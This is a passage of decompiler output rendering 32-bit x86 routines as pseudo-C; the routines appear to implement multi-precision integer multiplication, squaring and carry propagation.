edx) { Vfffffff0 = ecx; if(!(ecx = ecx - 1)) { eax = ~ecx & 3; if(ecx > 0) { if(eax == 0) { goto L08058b28; } if(eax < 3) { if(eax < 2) { edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } Vfffffff0 = A18 + -2; } edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } Vfffffff0 = Vfffffff0 - 1; } } edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } if(!(Vfffffff0 = Vfffffff0 - 1)) { L08058b28: do { edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058b98; } } while(Vfffffff0 = Vfffffff0 - 1); } } } else { L08058b98: if(esi != ebx) { Vffffffec = 0; ecx = Vfffffff0 - 1; Vfffffff0 = ecx; if(Vffffffec < ecx) { if(!(eax = ecx & 3)) { if(eax > 1) { if(eax > 2) { *esi = *ebx; Vffffffec = Vffffffec + 1; } edi = Vffffffec; *(esi + edi * 4) = *(ebx + edi * 4); Vffffffec = edi + 1; } ecx = Vffffffec; *(esi + ecx * 4) = *(ebx + ecx * 4); ecx = ecx + 1; L08058c0e: Vffffffec = ecx; if(ecx == Vfffffff0) { goto L08058c18; } } ecx = Vffffffec; *(esi + ecx * 4) = *(ebx + ecx * 4); eax = Vffffffec + 1; *(esi + eax * 4) = *(ebx + eax * 4); eax = Vffffffec + 2; *(esi + eax * 4) = *(ebx + eax * 4); eax = Vffffffec + 3; *(esi + eax * 4) = *(ebx + eax * 4); ecx = ecx + 4; goto L08058c0e; } } } L08058c18: ecx = A18; eax = ecx * 4; A8 = A8 + eax; Ac = Ac + eax; A10 = A10 - ecx; } while(A10 >= ecx); } if(A10 != 0) { (save)A10; (save)Ac; (save)A18; (save)A14; edi = Vfffffff8; (save)edi; L0805876C(); edi = A8; Vffffffec = L08066380(edi, edi, edi, A18); eax = A18 * 4; esi = A8 + eax; ebx = Vfffffff8 + eax; Vfffffff0 = A10; edx = *ebx; ebx = ebx + 4; eax = Vffffffec + edx; *esi = eax; esi = esi + 4; if(eax >= edx) { goto L08058d4c; } if(!(Vfffffff0 = Vfffffff0 - 1)) { eax = ~Vfffffff0 & 3; if(Vfffffff0 > 0) { if(eax == 0) { goto L08058cfc; } if(eax < 3) { if(eax < 2) { edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } Vfffffff0 = Vfffffff0 - 1; } edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } Vfffffff0 = Vfffffff0 - 1; } } edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } if(!(Vfffffff0 = Vfffffff0 - 1)) { L08058cfc: do { edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } Vfffffff0 = Vfffffff0 - 1; edx = *ebx + 1; ebx = ebx + 4; *esi = edx; esi = esi + 4; if(edx != 0) { goto L08058d4c; } } while(Vfffffff0 = Vfffffff0 - 1); goto L08058dcc; L08058d4c: if(esi != ebx) { Vffffffec = 0; ecx = Vfffffff0 - 1; Vfffffff0 = ecx; if(Vffffffec < ecx) { if(!(eax = ecx & 3)) { if(eax > 1) { if(eax > 2) { *esi = *ebx; Vffffffec = Vffffffec + 1; } edi = Vffffffec; *(esi + edi * 4) = *(ebx + edi * 4); Vffffffec = edi + 1; } ecx = Vffffffec; *(esi + ecx * 4) = *(ebx + ecx * 4); ecx = ecx + 1; } else { L08058d94: ecx = Vffffffec; *(esi + ecx * 4) = *(ebx + ecx * 4); edx = Vffffffec + 1; *(esi + edx * 4) = *(ebx + edx * 4); edx = Vffffffec + 2; *(esi + edx * 4) = *(ebx + edx * 4); edx = Vffffffec + 3; *(esi + edx * 4) = *(ebx + edx * 4); ecx = ecx + 4; } Vffffffec = ecx; if(ecx != Vfffffff0) { goto L08058d94; } } } } } } L08058dcc: eax = *Vfffffffc; L08058dd1: esp = ebp - 32; } /* Procedure: 0x08058DDB - 0x08058DDF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08058DDB() { } /* Procedure: 0x08058DE0 - 0x08058E1E * Argument size: 16 * Local size: 0 * Save regs size: 12 */ L08058DE0(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void esi; /* unknown */ void edi; (save)ebp; edi = A8 + A10 * 4; esi = Ac + A10 * 4; ecx = ~A10; edx = 0; do { ebp = edx; eax = *(esi + ecx * 4); asm("mul ebx"); eax = eax + ebp; asm("adc edx,+0x0"); *(edi + ecx * 4) = eax; } while(ecx = ecx + 1); eax = edx; (restore)ebp; } /* Procedure: 0x08058E1F - 0x08058E1F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08058E1F() { } /* Procedure: 0x08058E20 - 0x08059045 * Argument size: 16 * Local size: 8 * Save regs size: 12 */ L08058E20(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A8; eax = *A10; if(eax <= 1) { != ? 0x8058eb0 : ; ecx = 0; if(A14 > 0) { if(eax = A14 & 3) { goto L08058e80; } if(eax > 1) { if(eax > 2) { *ebx = *Ac; ecx = 1; } *(ebx + ecx * 4) = *(Ac + ecx * 4); ecx = ecx + 1; } eax = *(Ac + ecx * 4); *(ebx + ecx * 4) = eax; ecx = ecx + 1; if(A14 != ecx) { L08058e80: do { esi = Ac; *(ebx + ecx * 4) = *(esi + ecx * 4); eax = ecx + 1; *(ebx + eax * 4) = *(esi + eax * 4); eax = ecx + 2; *(ebx + eax * 4) = *(esi + eax * 4); eax = ecx + 3; *(ebx + eax * 4) = *(esi + eax * 4); ecx = ecx + 4; } while(A14 != ecx); goto L08058f0f; eax = 0; if(A14 > 0) { if(edx = A14 & 3) { goto L08058ee8; } if(edx > 1) { if(edx > 2) { *ebx = 0; eax = 1; } *(ebx + eax * 4) = 0; eax = eax + 1; } *(ebx + eax * 4) = 0; eax = eax + 1; if(A14 != eax) { L08058ee8: *(ebx + eax * 4) = 0; *(ebx + eax * 4 + 4) = 0; *(ebx + eax * 4 + 8) = 0; *(ebx + eax * 4 + 12) = 0; eax = eax + 4; if(A14 != eax) { goto L08058ee8; } } } } } L08058f0f: edx = 0; } else { eax = L08058DE0(ebx, Ac, A14, eax); edx = eax; } edi = A14; *(ebx + edi * 4) = edx; ebx = ebx + 4; Vfffffffc = 1; if(Vfffffffc < edi) { if(!(edi & 1)) { eax = *(A10 + 4); if(eax <= 1) { edx = 0; if(eax != 1) { goto L08058f80; } (save)edi; (save)Ac; (save)ebx; (save)ebx; eax = L08066380(); } else { eax = L08066420(ebx, Ac, A14, eax); } edx = eax; L08058f80: esi = A14; *(ebx + esi * 4) = edx; ebx = ebx + 4; Vfffffffc = Vfffffffc + 1; if(Vfffffffc == esi) { goto L0805903c; } } do { eax = *(A10 + Vfffffffc * 4); if(eax > 1) { eax = L08066420(ebx, Ac, A14, eax); } else { edx = 0; if(eax != 1) { goto L08058fd4; } (save)A14; (save)Ac; (save)ebx; (save)ebx; eax = L08066380(); } edx = eax; L08058fd4: *(ebx + A14 * 4) = edx; Vfffffff8 = ebx + 4; eax = *(A10 + Vfffffffc * 4 + 4); if(eax > 1) { eax = L08066420(Vfffffff8, Ac, A14, eax); } else { edx = 0; if(eax != 1) { goto L08059023; } (save)A14; (save)Ac; edi = Vfffffff8; (save)edi; (save)edi; eax = L08066380(); } edx = eax; L08059023: edi = A14; *(Vfffffff8 + edi * 4) = edx; ebx = ebx + 8; Vfffffffc = Vfffffffc + 2; } while(Vfffffffc != edi); } L0805903c: esp = ebp - 20; } /* Procedure: 0x08059046 - 0x08059047 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08059046() { } /* Procedure: 0x08059048 - 0x08059719 * Argument size: 20 * Local size: 20 * Save regs size: 12 */ L08059048(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; esi = A14; if(!(esi & 1)) { esi = esi - 1; Vffffffec = esi; if(esi > 31) { L08059048(A8, Ac, A10, esi, A18); L08059082: edi = Vffffffec; (save) *(A10 + edi * 4); (save)edi; (save)Ac; esi = Vffffffec; edi = A8; ebx = edi + esi * 4; (save)ebx; *(edi + (Vffffffec + Vffffffec) * 4) = L08066420(); (save) *(Ac + esi * 4); (save)A14; (save)A10; (save)ebx; eax = A14 + Vffffffec; *(A8 + eax * 4) = L08066420(); goto L08059710; } L08058E20(A8, Ac, A10, Vffffffec); goto L08059082; L080590f0: edi = Vfffffffc; eax = edi * 4; L08058E20(A8 + A14 * 4, eax + Ac, A10 + eax, edi); } else { esi = A14 >> 1; Vfffffffc = esi; if(esi <= 31) { goto L080590f0; } eax = esi * 4; L08059048(A8 + A14 * 4, eax + Ac, A10 + eax, esi, A18); } esi = Vfffffffc; edi = Ac; ebx = edi + esi * 4; if(L08057F48(ebx, edi, esi) >= 0) { (save)esi; (save)edi; (save)ebx; (save)A8; L0805A010(); Vfffffff4 = 0; } else { edi = Vfffffffc; esi = Ac; L0805A010(A8, esi, esi + edi * 4, edi); Vfffffff4 = 1; } esi = Vfffffffc; esi = esi << 2; Vffffffec = esi; ebx = A10 + Vffffffec; if(L08057F48(ebx, A10, esi) >= 0) { (save)Vfffffffc; (save)A10; (save)ebx; (save)A8 + Vffffffec; L0805A010(); Vfffffff4 = Vfffffff4 ^ 1; goto L08059216; L080591dc: edi = Vfffffffc; esi = A8; L08058E20(A18, esi, esi + edi * 4, edi); } else { esi = Vfffffffc; eax = esi * 4; L0805A010(eax + A8, A10, A10 + eax, esi); L08059216: if(Vfffffffc <= 31) { goto L080591dc; } esi = Vfffffffc; edi = A8; L08059048(A18, edi, edi + esi * 4, esi, A18 + A14 * 4); } if(Vfffffffc > 0) { edx = A14 * 4; esi = Vfffffffc; ecx = esi * 4; ebx = edx + ecx; if(eax = esi & 3) { goto L080592a4; } if(eax > 1) { if(eax > 2) { edi = A8; *(edi + ecx) = *(edi + edx); edx = edx + 4; ecx = ecx + 4; } esi = A8; *(esi + ecx) = *(esi + edx); edx = edx + 4; ecx = ecx + 4; } edi = A8; *(edi + ecx) = *(edi + edx); edx = edx + 4; ecx = ecx + 4; if(edx != ebx) { L080592a4: do { esi = A8; *(esi + ecx) = *(esi + edx); *(esi + ecx + 4) = *(esi + edx + 4); *(esi + ecx + 8) = *(esi + edx + 8); *(esi + ecx + 12) = *(esi + edx + 12); edx = edx + 16; ecx = ecx + 16; } while(edx != ebx); } } edx = A8 + A14 * 4; ebx = Vfffffffc * 4; Vfffffff8 = L08066380(edx, edx, ebx + edx, Vfffffffc); if(Vfffffff4 != 0) { (save)A14; (save)A18; eax = A8 + ebx; (save)eax; (save)eax; Vfffffff8 = Vfffffff8 - L0805A010(); goto L0805934f; L08059318: L08058E20(A18, Ac, A10, Vfffffffc); } else { eax = A8 + Vfffffffc * 4; Vfffffff8 = Vfffffff8 + L08066380(eax, eax, A18, A14); L0805934f: if(Vfffffffc <= 31) { goto L08059318; } L08059048(A18, Ac, A10, Vfffffffc, A18 + A14 * 4); } ebx = A8 + Vfffffffc * 4; Vfffffff8 = Vfffffff8 + L08066380(ebx, ebx, A18, A14); if(Vfffffff8 != 0) { ebx = ebx + A14 * 4; esi = Vfffffffc; Vfffffff0 = esi; edx = *ebx; Vffffffec = ebx + 4; eax = Vfffffff8 + edx; *ebx = eax; ebx = Vffffffec; if(eax >= edx) { goto L0805949c; } Vfffffff0 = esi; if(!(esi = esi - 1)) { eax = ~esi & 3; if(esi > 0) { if(eax == 0) { goto L08059440; } if(eax < 3) { if(eax < 2) { edx = *ebx + 1; Vffffffec = ebx + 4; *ebx = edx; ebx = Vffffffec; if(edx != 0) { goto L0805949c; } Vfffffff0 = Vfffffffc + -2; } esi = Vffffffec; edx = *esi + 1; Vffffffec = esi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } Vfffffff0 = Vfffffff0 - 1; } } edi = Vffffffec; edx = *edi + 1; Vffffffec = edi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } if(!(Vfffffff0 = Vfffffff0 - 1)) { L08059440: do { esi = Vffffffec; edx = *esi + 1; esi = esi + 4; Vffffffec = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } Vfffffff0 = Vfffffff0 - 1; edx = *esi + 1; esi = esi + 4; Vffffffec = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } Vfffffff0 = Vfffffff0 - 1; edx = *esi + 1; esi = esi + 4; Vffffffec = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } Vfffffff0 = Vfffffff0 - 1; edx = *esi + 1; Vffffffec = esi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L0805949c; } } while(Vfffffff0 = Vfffffff0 - 1); goto L0805950c; L0805949c: if(Vffffffec != ebx) { ecx = 0; edi = Vfffffff0 - 1; Vfffffff0 = edi; if(0 < edi) { if(eax = edi & 3) { goto L080594e0; } if(eax > 1) { if(eax > 2) { *ebx = *Vffffffec; ecx = 1; } *(ebx + ecx * 4) = *(Vffffffec + ecx * 4); ecx = ecx + 1; } *(ebx + ecx * 4) = *(Vffffffec + ecx * 4); ecx = ecx + 1; if(Vfffffff0 != ecx) { L080594e0: do { edi = Vffffffec; *(ebx + ecx * 4) = *(edi + ecx * 4); edx = ecx + 1; *(ebx + edx * 4) = *(edi + edx * 4); edx = ecx + 2; *(ebx + edx * 4) = *(edi + edx * 4); edx = ecx + 3; *(ebx + edx * 4) = *(edi + edx * 4); ecx = ecx + 4; } while(Vfffffff0 != ecx); } } } } } } L0805950c: ecx = 0; if(Vfffffffc > 0) { if(eax = Vfffffffc & 3) { goto L08059550; } if(eax > 1) { if(eax > 2) { *A8 = *A18; ecx = 1; } eax = *(A18 + ecx * 4); *(A8 + ecx * 4) = eax; ecx = ecx + 1; } eax = *(A18 + ecx * 4); *(A8 + ecx * 4) = eax; ecx = ecx + 1; if(Vfffffffc != ecx) { L08059550: do { esi = A18; eax = *(esi + ecx * 4); edi = A8; *(edi + ecx * 4) = eax; eax = ecx + 1; *(edi + eax * 4) = *(esi + eax * 4); eax = ecx + 2; *(edi + eax * 4) = *(esi + eax * 4); eax = ecx + 3; *(edi + eax * 4) = *(esi + eax * 4); ecx = ecx + 4; } while(Vfffffffc != ecx); } } esi = Vfffffffc; eax = esi * 4; eax = eax + A8; eax = L08066380(eax, eax, A18 + eax, esi); Vfffffff8 = eax; if(eax != 0) { edi = A14; ebx = A8 + edi * 4; Vfffffff0 = edi; edx = *ebx; Vffffffec = ebx + 4; eax = edx + 1; *ebx = eax; ebx = Vffffffec; if(eax >= edx) { goto L080596a0; } if(!(Vfffffff0 = Vfffffff0 - 1)) { eax = ~Vfffffff0 & 3; if(Vfffffff0 > 0) { if(eax == 0) { goto L08059644; } if(eax < 3) { if(eax < 2) { edx = *ebx + 1; Vffffffec = ebx + 4; *ebx = edx; ebx = Vffffffec; if(edx != 0) { goto L080596a0; } Vfffffff0 = Vfffffff0 - 1; } edi = Vffffffec; edx = *edi + 1; Vffffffec = edi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } Vfffffff0 = Vfffffff0 - 1; } } esi = Vffffffec; edx = *esi + 1; Vffffffec = esi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } if(!(Vfffffff0 = Vfffffff0 - 1)) { L08059644: do { edi = Vffffffec; edx = *edi + 1; edi = edi + 4; Vffffffec = edi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } Vfffffff0 = Vfffffff0 - 1; edx = *edi + 1; edi = edi + 4; Vffffffec = edi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } Vfffffff0 = Vfffffff0 - 1; edx = *edi + 1; edi = edi + 4; Vffffffec = edi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } Vfffffff0 = Vfffffff0 - 1; edx = *edi + 1; Vffffffec = edi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L080596a0; } } while(Vfffffff0 = Vfffffff0 - 1); goto L08059710; L080596a0: if(Vffffffec != ebx) { ecx = 0; esi = Vfffffff0 - 1; Vfffffff0 = esi; if(0 < esi) { if(eax = esi & 3) { goto L080596e4; } if(eax > 1) { if(eax > 2) { *ebx = *Vffffffec; ecx = 1; } *(ebx + ecx * 4) = *(Vffffffec + ecx * 4); ecx = ecx + 1; } eax = *(Vffffffec + ecx * 4); *(ebx + ecx * 4) = eax; ecx = ecx + 1; if(Vfffffff0 != ecx) { L080596e4: do { esi = Vffffffec; *(ebx + ecx * 4) = *(esi + ecx * 4); edx = ecx + 1; *(ebx + edx * 4) = *(esi + edx * 4); edx = ecx + 2; *(ebx + edx * 4) = *(esi + edx * 4); edx = ecx + 3; eax = *(esi + edx * 4); *(ebx + edx * 4) = eax; ecx = ecx + 4; } while(Vfffffff0 != ecx); } } } } } } L08059710: esp = ebp - 32; } /* Procedure: 0x0805971A - 0x0805971B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805971A() { } /* Procedure: 0x0805971C - 0x08059935 * Argument size: 12 * Local size: 8 * Save regs size: 12 */ L0805971C(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A8; eax = *Ac; if(eax <= 1) { != ? 0x80597ac : ; ecx = 0; if(A10 > 0) { if(eax = A10 & 3) { goto L0805977c; } if(eax > 1) { if(eax > 2) { *ebx = 1; ecx = 1; } *(ebx + ecx * 4) = *(Ac + ecx * 4); ecx = ecx + 1; } eax = *(Ac + ecx * 4); *(ebx + ecx * 4) = eax; ecx = ecx + 1; if(A10 != ecx) { L0805977c: do { edi = Ac; *(ebx + ecx * 4) = *(edi + ecx * 4); eax = ecx + 1; *(ebx + eax * 4) = *(edi + eax * 4); eax = ecx + 2; *(ebx + eax * 4) = *(edi + eax * 4); eax = ecx + 3; *(ebx + eax * 4) = *(edi + eax * 4); ecx = ecx + 4; } while(A10 != ecx); goto L0805980b; eax = 0; if(A10 > 0) { if(edx = A10 & 3) { goto L080597e4; } if(edx > 1) { if(edx > 2) { *ebx = 0; eax = 1; } *(ebx + eax * 4) = 0; eax = eax + 1; } *(ebx + eax * 4) = 0; eax = eax + 1; if(A10 != eax) { L080597e4: *(ebx + eax * 4) = 0; *(ebx + eax * 4 + 4) = 0; *(ebx + eax * 4 + 8) = 0; *(ebx + eax * 4 + 12) = 0; eax = eax + 4; if(A10 != eax) { goto L080597e4; } } } } } L0805980b: edx = 0; } else { eax = L08058DE0(ebx, Ac, A10, eax); edx = eax; } esi = A10; *(ebx + esi * 4) = edx; ebx = ebx + 4; Vfffffffc = 1; if(Vfffffffc < esi) { if(!(esi & 1)) { edi = Ac; eax = *(edi + 4); if(eax <= 1) { edx = 0; if(eax != 1) { goto L08059878; } (save)esi; (save)edi; (save)ebx; (save)ebx; eax = L08066380(); } else { eax = L08066420(ebx, Ac, A10, eax); } edx = eax; L08059878: esi = A10; *(ebx + esi * 4) = edx; ebx = ebx + 4; Vfffffffc = Vfffffffc + 1; if(Vfffffffc == esi) { goto L0805992c; } } do { esi = Ac; eax = *(esi + Vfffffffc * 4); if(eax > 1) { eax = L08066420(ebx, Ac, A10, eax); } else { edx = 0; if(eax != 1) { goto L080598c8; } (save)A10; (save)esi; (save)ebx; (save)ebx; eax = L08066380(); } edx = eax; L080598c8: *(ebx + A10 * 4) = edx; Vfffffff8 = ebx + 4; edi = Ac; eax = *(edi + Vfffffffc * 4 + 4); if(eax > 1) { eax = L08066420(Vfffffff8, Ac, A10, eax); } else { edx = 0; if(eax != 1) { goto L08059913; } (save)A10; (save)edi; edi = Vfffffff8; (save)edi; (save)edi; eax = L08066380(); } edx = eax; L08059913: edi = A10; *(Vfffffff8 + edi * 4) = edx; ebx = ebx + 8; Vfffffffc = Vfffffffc + 2; } while(Vfffffffc != edi); } L0805992c: esp = ebp - 20; } /* Procedure: 0x08059936 - 0x08059937 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08059936() { } /* Procedure: 0x08059938 - 0x08059F49 * Argument size: 16 * Local size: 16 * Save regs size: 12 */ L08059938(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; esi = A10; if(!(esi & 1)) { esi = esi - 1; Vfffffff0 = esi; if(esi > 31) { L08059938(A8, Ac, esi, A14); L0805996e: esi = Vfffffff0; edi = Ac; (save) *(edi + esi * 4); (save)esi; (save)edi; edi = A8; ebx = edi + esi * 4; (save)ebx; *(edi + (Vfffffff0 + Vfffffff0) * 4) = L08066420(); edi = Ac; (save) *(edi + esi * 4); (save)A10; (save)edi; (save)ebx; eax = A10 + Vfffffff0; *(A8 + eax * 4) = L08066420(); goto L08059f40; } L0805971C(A8, Ac, Vfffffff0); goto L0805996e; L080599d0: edi = Vfffffffc; L0805971C(A8 + A10 * 4, Ac + edi * 4, edi); } else { edi = A10 >> 1; Vfffffffc = edi; if(edi <= 31) { goto L080599d0; } L08059938(A8 + A10 * 4, Ac + edi * 4, edi, A14); } edi = Vfffffffc; esi = Ac; ebx = esi + edi * 4; if(L08057F48(ebx, esi, edi) >= 0) { (save)edi; (save)esi; (save)ebx; (save)A8; goto L08059a84; L08059a40: L0805971C(A14, A8, Vfffffffc); goto L08059ab0; L08059a58: L0805971C(A14, Ac, Vfffffffc); } else { esi = Vfffffffc; (save)esi; edi = Ac; (save)edi + esi * 4; (save)edi; (save)A8; L08059a84: L0805A010(); esp = esp + 16; if(Vfffffffc <= 31) { goto L08059a40; } L08059938(A14, A8, Vfffffffc, A14 + A10 * 4); L08059ab0: if(Vfffffffc > 0) { edx = A10 * 4; edi = Vfffffffc; ecx = edi * 4; ebx = edx + ecx; if(eax = edi & 3) { goto L08059b14; } if(eax > 1) { if(eax > 2) { esi = A8; *(esi + ecx) = *(esi + edx); edx = edx + 4; ecx = ecx + 4; } edi = A8; *(edi + ecx) = *(edi + edx); edx = edx + 4; ecx = ecx + 4; } esi = A8; *(esi + ecx) = *(esi + edx); edx = edx + 4; ecx = ecx + 4; if(edx != ebx) { L08059b14: do { edi = A8; *(edi + ecx) = *(edi + edx); *(edi + ecx + 4) = *(edi + edx + 4); *(edi + ecx + 8) = *(edi + edx + 8); *(edi + ecx + 12) = *(edi + edx + 12); edx = edx + 16; ecx = ecx + 16; } while(edx != ebx); } } esi = Vfffffffc; (save)esi; edi = A10 << 2; Vfffffff0 = edi; eax = A8 + Vfffffff0; ebx = esi * 4; (save)ebx + eax; (save)eax; (save)eax; Vfffffff8 = L08066380(); (save)A10; (save)A14; ebx = ebx + A8; (save)ebx; (save)ebx; Vfffffff8 = Vfffffff8 - L0805A010(); esp = esp + 32; if(Vfffffffc <= 31) { goto L08059a58; } L08059938(A14, Ac, Vfffffffc, A14 + Vfffffff0); } ebx = A8 + Vfffffffc * 4; Vfffffff8 = Vfffffff8 + L08066380(ebx, ebx, A14, A10); if(Vfffffff8 != 0) { ebx = ebx + A10 * 4; esi = Vfffffffc; Vfffffff4 = esi; edx = *ebx; Vfffffff0 = ebx + 4; eax = Vfffffff8 + edx; *ebx = eax; ebx = Vfffffff0; if(eax >= edx) { goto L08059ccc; } Vfffffff4 = esi; if(!(esi = esi - 1)) { eax = ~esi & 3; if(esi > 0) { if(eax == 0) { goto L08059c70; } if(eax < 3) { if(eax < 2) { edx = *ebx + 1; Vfffffff0 = ebx + 4; *ebx = edx; ebx = Vfffffff0; if(edx != 0) { goto L08059ccc; } Vfffffff4 = Vfffffffc + -2; } esi = Vfffffff0; edx = *esi + 1; Vfffffff0 = esi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } Vfffffff4 = Vfffffff4 - 1; } } edi = Vfffffff0; edx = *edi + 1; Vfffffff0 = edi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } if(!(Vfffffff4 = Vfffffff4 - 1)) { L08059c70: do { esi = Vfffffff0; edx = *esi + 1; esi = esi + 4; Vfffffff0 = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } Vfffffff4 = Vfffffff4 - 1; edx = *esi + 1; esi = esi + 4; Vfffffff0 = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } Vfffffff4 = Vfffffff4 - 1; edx = *esi + 1; esi = esi + 4; Vfffffff0 = esi; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } Vfffffff4 = Vfffffff4 - 1; edx = *esi + 1; Vfffffff0 = esi + 4; *ebx = edx; ebx = ebx + 4; if(edx != 0) { goto L08059ccc; } } while(Vfffffff4 = Vfffffff4 - 1); goto L08059d3c; L08059ccc: if(Vfffffff0 != ebx) { ecx = 0; edi = Vfffffff4 - 1; Vfffffff4 = edi; if(0 < edi) { if(eax = edi & 3) { goto L08059d10; } if(eax > 1) { if(eax > 2) { *ebx = *Vfffffff0; ecx = 1; } *(ebx + ecx * 4) = *(Vfffffff0 + ecx * 4); ecx = ecx + 1; } *(ebx + ecx * 4) = *(Vfffffff0 + ecx * 4); ecx = ecx + 1; if(Vfffffff4 != ecx) { L08059d10: do { edi = Vfffffff0; *(ebx + ecx * 4) = *(edi + ecx * 4);